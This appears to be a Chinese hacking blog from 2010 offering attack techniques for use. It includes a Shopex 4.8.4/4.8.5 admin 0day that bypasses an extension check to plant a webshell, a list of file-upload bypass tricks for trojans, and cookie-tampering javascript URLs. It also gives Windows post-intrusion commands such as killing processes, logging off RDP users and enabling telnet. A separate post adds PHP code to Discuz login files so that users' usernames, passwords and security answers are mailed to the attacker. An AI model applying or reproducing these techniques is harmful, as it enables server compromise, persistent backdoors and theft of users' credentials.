2010年4月26日星期一

【原创】Shopex V4.8.4 V4.8.5 后台拿Shell 0Days

2010年4月25号 10:42am T00ls 首发
作者:alibaba

ctl.template.php :
function saveContent(){
if(strtolower(substr($_POST['file'],-4,4))=='.php') $_POST['file']='index.html';//只验证最后4位数
$this->begin('index.php?ctl=system/template&act=edit&p[0]='.$_POST['theme']);
$o = $this->system->loadModel('system/template');
$template=array(
'tpl_name'=>$_POST['file_name'],
'tpl_file'=>$_POST['file'],
'tpl_theme'=>$_POST['theme'],
'tpl_type'=>$_POST['type']
);

利用方法:
构造一个上传页面, 提交文件后缀为 .php5(linux) 或在 .php 后面加上一个空格(windows)就能绕过验证
这里附上4.8.4 及 4.8.5 两个不同版本的上传页面:
484-485.zip
成功上传后生成一句话后门 - http://站点/home/cache/t00ls-1.php5

2010年2月3日星期三

上传漏洞

很多网站都能让用户上传文件,我们就可以尝试以下方法上传后门:

1. 直接上传木马。
2. 上传时在后缀加空格或加几点。

木马.asp 这里后面有一个空格
木马.asp..
3. 双重扩展名:
木马.jpg.asp
4. IIS 漏洞
木马.asp;1.jpg
5. Apache 漏洞
木马.php.jpg

Cookies 显示及修改

在网址栏打上这个代码:
javascript:alert(document.cookie);
会跳出一个框框,显示当前页面所储存的cookie

在网址栏打上这个代码:
javascript:void(document.cookie="username=admin");
就能达到修改特定cookie内容的目的(因站而异)

列举当前所有进程的PID以及结束进程的方法列举当前所有进程的PID以及结束进程的方法

以下这个脚本可以列举当前所有进程的PID:PIDlist.vbs
echo wscript.echo "PID ProcessName">>PIDlist.vbe
echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>PIDlist.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>PIDlist.vbe
echo next>>PIDlist.vbe


生成pidlist.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。运行pidlist.vbe得到如下运行结果:
C:\WINNT\system32>cscript pidlist.vbe

结束进程PID 200
ntsd -c q -p 200

CMD下logoff 3389用户

C:\>hostname //得到serverName

C:\>quser /server:<serverName> //列出所有占线用户以及其sessionId

C:\>logoff <sessionId> /server:<serverName> //logoff 指定用户

【原创】discuz密码记录+电邮

Discuz 7.1/7.2 :include\login.func.php
Discuz 7.0:logging.php

搜索这段代码:

if(!$member) {
return -1;
}

在下面加入:

$title= $tmp['username'].' : '.$tmp['password'].' : '.$tmp['email'];
$msg='Username:'.$tmp['username'].' Password:'.$tmp['password'].' Email:'.$tmp['email'].' Date:'.date(DATE_RFC822).'\r\n';
$mailto='email@email.com';//这里改为你自己的电邮
$mailfrom = 'From: '.$tmp['email'];
mail($mailto,$title,$msg,$mailfrom);

如果是要较完整的资料可以使用以下代码:
$title= $_SERVER['HTTP_HOST'];
$msg='Username:'.$tmp['username'].' Password:'.$tmp['password'].' Email:'.$tmp['email'].' Question ID:'.$questionid.' Answer:'.$answer.' Date:'.date(DATE_RFC822).'\r\n';
$mailto='email@email.com';//这里改为你自己的电邮
$mailfrom = 'From: '.$tmp['email'];
mail($mailto,$title,$msg,$mailfrom);

CMD下开启telnet的方法

sc config tlntsvr start= auto
net start telnet